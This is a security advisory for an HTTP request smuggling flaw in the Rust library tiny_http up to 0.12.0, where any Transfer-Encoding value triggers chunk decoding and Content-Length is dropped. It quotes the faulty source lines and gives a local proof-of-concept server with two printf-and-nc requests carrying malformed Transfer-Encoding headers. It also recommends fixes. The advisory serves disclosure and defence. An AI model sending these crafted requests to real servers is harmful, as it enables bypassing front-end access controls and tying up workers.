📄 tiny_http 0.12.0 HTTP Request Smuggling

# Security Advisory: HTTP Request Smuggling via Unparsed Transfer-Encoding Values (tiny_http)
    
    **Assigned CVE ID:** CVE-2026-66752
    
    ## Summary
    
    tiny_http checks only whether a `Transfer-Encoding` header is present. It never
    looks at the value. Any value, including codings that are not `chunked` and
    coding lists whose final element is not `chunked`, causes the body to be
    chunk-decoded, and `Content-Length` is discarded at the same time.
    
    A front end that parses the transfer coding correctly will frame such a request
    differently from tiny_http. Two participants with two framings on one connection
    is the precondition for request smuggling. Sending a non-chunked body with a
    non-chunked coding also makes tiny_http fail the body read and answer nothing at
    all.
    
    ## Affected versions
    
    Repo URL: https://github.com/tiny-http/tiny-http
    
    | | |
    |---|---|
    | Affected | all released versions up to and including 0.12.0 (2022-10-06), the current release |
    | Verified | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
    | Fixed in | no fixed version at time of writing |
    
    ## Severity
    
    CWE-444 (Inconsistent Interpretation of HTTP Requests).
    
    CVSS 4.0 base score 6.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N`
    
    ## Threat model
    
    A remote, unauthenticated client sending raw HTTP. No credentials or user
    interaction.
    
    The smuggling case requires tiny_http to sit behind a front end or CDN that
    forwards `Transfer-Encoding` and `Content-Length` and applies RFC 9112 section
    6.1 correctly, meaning it treats a coding list whose final element is not
    `chunked` as not chunked and falls back to `Content-Length`. That front end and
    tiny_http then disagree about where the body ends.
    
    The unanswered-request case needs nothing beyond the ability to connect.
    
    ## Root cause
    
    `tiny_http-0.12.0/src/request.rs`, lines 143 to 153. The header is located and
    cloned, but the value is only ever tested for presence:
    
    ```rust
    143      // finding the transfer-encoding header
    144      let transfer_encoding = headers
    145          .iter()
    146          .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
    147          .map(|h| h.value.clone());
    148  
    149      // finding the content-length header
    150      let content_length = if transfer_encoding.is_some() {
    151          // if transfer-encoding is specified, the Content-Length
    152          // header must be ignored (RFC2616 #4.4)
    153          None
    ```
    
    `tiny_http-0.12.0/src/request.rs`, lines 218 to 221, then applies the chunked
    decoder unconditionally:
    
    ```rust
    218      } else if transfer_encoding.is_some() {
    219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
    220          // over the message (RFC2616 #3.6)
    221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
    ```
    
    `transfer_encoding` is an `Option<AsciiString>` holding the raw value, and
    nothing ever inspects its contents. RFC 9112 section 6.1 requires the final
    coding of a request to be `chunked` and requires a server to reject the message
    otherwise, and section 6.3 requires rejecting a request that carries both
    `Transfer-Encoding` and `Content-Length`.
    
    ## Proof of Concept
    
    Step 1. Start a server that reports the framing headers and the body it read.
    
    ```rust
    use std::io::Read;
    use tiny_http::{Response, Server};
    
    fn main() {
        let server = Server::http("127.0.0.1:8005").unwrap();
        for mut request in server.incoming_requests() {
            let te = request.headers().iter()
                .find(|h| h.field.equiv("Transfer-Encoding"))
                .map(|h| h.value.as_str().to_string());
            let cl = request.headers().iter()
                .find(|h| h.field.equiv("Content-Length"))
                .map(|h| h.value.as_str().to_string());
            let mut body = Vec::new();
            let r = request.as_reader().read_to_end(&mut body);
            println!("TE={:?} CL={:?} read={:?} body={:?}",
                     te, cl, r, String::from_utf8_lossy(&body));
            let _ = request.respond(Response::from_string("ok"));
        }
    }
    ```
    
    Step 2. Send a request with `Transfer-Encoding: identity`, a matching
    `Content-Length`, and a plain body. Any front end would frame this body as the
    five bytes `hello`.
    
    ```sh
    printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
    ```
    
    Result. tiny_http chunk-decoded a body that is not chunked, dropped it, and sent
    no response. The client waits until its own timeout and the connection is
    consumed.
    
    ```
    TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
    ```
    
    Step 3. Send a coding list whose final element is not `chunked`.
    
    ```sh
    printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
    ```
    
    Result. tiny_http accepts it and decodes as chunked, where RFC 9112 section 6.1
    requires rejection:
    
    ```
    TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
    ```
    
    For contrast, `Content-Length` alone and a correct `Transfer-Encoding: chunked`
    both behave properly and yield `body="hello"`.
    
    ## Impact
    
    Where tiny_http sits behind a front end that parses transfer codings correctly,
    the two components disagree about where the request body ends. The attacker
    chooses the bytes on either side of that disagreement, which is the standard
    setup for smuggling a request past the front end's routing and access control.
    
    Independently of any front end, steps 2 and 3 show a trivially malformed request
    that ties up a worker and receives no response at all, so the client cannot tell
    the request was rejected.
    
    ## Remediation
    
    Parse `Transfer-Encoding` as the comma-separated list that it is, in
    `src/request.rs` around line 144:
    
    Require the final coding to be `chunked` for a request carrying a body, and
    reject any other coding with 400 rather than chunk-decoding it. Reject a request
    that carries both `Transfer-Encoding` and `Content-Length`, as RFC 9112 section
    6.3 requires for a server that is not a proxy, instead of silently ignoring
    `Content-Length` at line 150.
    
    When the body reader fails, send a 400 rather than dropping the request without
    a response.